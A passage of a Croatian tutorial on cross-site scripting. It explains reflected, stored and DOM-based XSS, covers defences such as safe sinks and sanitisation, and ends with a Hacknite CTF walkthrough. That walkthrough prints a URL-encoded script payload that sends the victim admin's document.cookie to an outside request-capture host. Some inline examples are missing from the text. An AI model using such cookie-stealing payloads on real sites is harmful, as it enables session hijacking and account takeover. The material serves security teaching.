https://insecure-website.com/status?message=Validna+poruka
Rezultat je
Status: Validna poruka
No, ako korisnik unese
https://insecure-website.com/status?message=
nastaje problem jer se unijela skripta koja se može direktno izvršiti.
Skripta je obično takva da napadač može pristupiti i mijenjati sve korisnikove podatke, izvoditi sve akcije na stranici koje su njemu dozvoljene te čak izvoditi napade u njegovo ime.
//Stored XSS (Persistent, second-order XSS)// za razliku od prethodne vrste dohvaća nesigurne podatke s
nekog poslužitelja. Ni u ovom se slučaju ne provodi nikakva provjera jesu li ti podatci sigurni za
korištenje. Unos podataka može opet ići preko korisničkog unosa, no razlika je u tome što se ti
ranjivi podatci pohrane i mogu doći do drugih korisnika. Dobar primjer je stranica s člancima koja
omogućuje komentare. Recimo da je napadač unio skriptu kao komentar na određeni članak. Ta skripta
izvršit će se svakom korisniku koji poželi dohvatiti njegov komentar, odnosno svakom korisniku koji otvori
taj članak.
Zadnji je //DOM-based// napad koji se odvija kad JavaScript kôd web stranice uzima podatke s izvora koji
kontrolira napadač, primjerice URL, i ubacuje ga u DOM (//Document Object Model//) stranice. Primjerice, ako napadač dobije pristup pisanja u DOM i unese naredbu:
document.write('... ...');
ova će se skripta izvesti.\\ \\
//innerHTML// ne prihvaća
i rezultat je:
Zato je puno bolje vrijednosti varijable ubacivati preko nekog od sigurnih atributa, primjerice **.textContent**. On i još neki atributi pripadaju tzv. //Safe Sinks//, a to je naziv za mjesta koja su
sigurna za pohranjivanje varijabli. Vrijednosti varijabli tamo tretiraju isključivo kao tekst, a nikad kao
skripta pa, i ako se skripta unese, neće se izvršiti.
Osim kodiranja, važan dio je i pročišćavanje HTML kôda. Jedna od preporučenih metoda je
//DOMPuritfy.sanitize()//. No, i dalje treba paziti. Ako postoji mogućnost naknadne izmjene podataka, mora se
osigurati da se opet provede pročišćavanje. Uz to, ako se pročišćeni podatci šalju nekoj biblioteci na
korištenje, važno je da ne rade izravne promjene nad nekim drugim podatkom. Svakako treba redovito
održavati kôd koji se koristi bibliotekama za pročišćenje podataka jer se periodički otkrivaju novi
nedostatci koji se poprave u novoj verziji biblioteke.
Također, pri dodavanju atributa HTML elementima, treba umetati vrijednosti preko **.setAttribute** jer i on spada u //Safe sinks//. Važno je napomenuti da su //Safe sinks// sigurni isključivo kad se koriste imena atributa čije su vrijednosti unaprijed definirane (primjerice id, class), no nisu uvijek pouzdani kad se koriste atributi koji redovno prihvaćaju JavaScript (onclick, onblur i slično). Pri korištenju CSS selektora preko JavaScripta također je sigurnije mijenjati svojstva koristeći //style.{svojstvo}// nego ga direktno pisati u HTML.
__PRIMJER__ - **Zadatak s Hacknite platforme - Pronađi svoju stranicu**
Vidimo da se naredba izvršila, dakle ranjivost postoji. \\
Iskoristit ćemo ranjivost tako što ćemo poslati JavaScript kod koji će ukrasti adminov kolačić. Zatim ćemo ukradeni kolačić preusmjeriti na web stranicu koja ga može pohraniti. Za to ćemo iskoristiti stranicu na adresi http://requestbaskets.platforma.hacknite.hr. To je stranica koja stvara košaricu (//basket//) za sve zahtjeve koji su joj upućeni i pohranjuje sve detalje toga zahtjeva. Napravimo svoju košaricu. Ona će imati svoj id koji će u daljnjim koracima biti označen s {id} (piše se bez uglatih zagrada u link). Jednostavnija je opcija kopirati link direktno sa stranice i njega upisivati u zahtjeve (crveno zaokruženo).
{{ :basket2.png?600 |}}
Upišimo sad u tražilicu:
kako bismo preusmjerili zahtjev na svoju stranicu. Budući da Marijeva stranica ne radi nikakvu provjeru predanih linkova, ovaj JavaScript kod će se izvršiti.
{{ :cookie-rez.png?600 |}}
Preko parametra //c// poslani su kolačići s trenutne stranice na našu, zlonamjernu. Vidimo da se zahtjev preusmjerio na našu stranicu i imamo session id u linku (parametar //c//). No, to je zasad samo naš cookie, nismo dobili pristup administratoru. Otiđimo sad na podstranicu koja određenoj osobi šalje link te pošaljimo adminu sljedeće:
http://chal.platforma.hacknite.hr:10011/search.php?query=%3Cscript%3Edocument.location%3D%22http%3A%2F%2Frequestbaskets.platforma.hacknite.hr/{id}%2F%3Fc%3D%22%2Bdocument.cookie%3B%3C%2Fscript%3E
{{ :zahtjev-link.png?600 |}}
Ovime smo kao //query// parameter unijeli skriptu koja prebacuje našu trenutnu lokaciju na našu zlonamjernu i opet smo kao //c// parametar unijeli document.cookie da bismo mogli ukrasti administratorov kolačić. Posebni znakovi u linku koji šaljemo su URL-encodani: \\
^ Kod ^ Značenje znaka ^
|%3C |< |
|%3E |> |
|%3D |= |
|%22 |" |
|%3A |: |
|%3F |? |
|%2F |/ |
|%3B |; |
Nakon što smo poslali zahtjev, on se pojavi na requestbaskets sa svim detaljima, uključujući i flag:
{{ :flag.png?600 |}}
Flag je URL-encoded, ali jedino što treba promijeniti su uglate zagrade:\\
^ Kod ^ Značenje znaka ^
|%5B |[ |
|%5D |] |
===Izvori===
[1]https://owasp.org/www-community/attacks/xss/ \\
[2]https://owasp.org/www-community/Types_of_Cross-Site_Scripting\\
[3]https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html\\
[4]https://portswigger.net/web-security/cross-site-scripting\\
[5]https://www.w3schools.com/tags/ref_urlencode.ASP\\
[6]https://platforma.hacknite.hr/challenges\\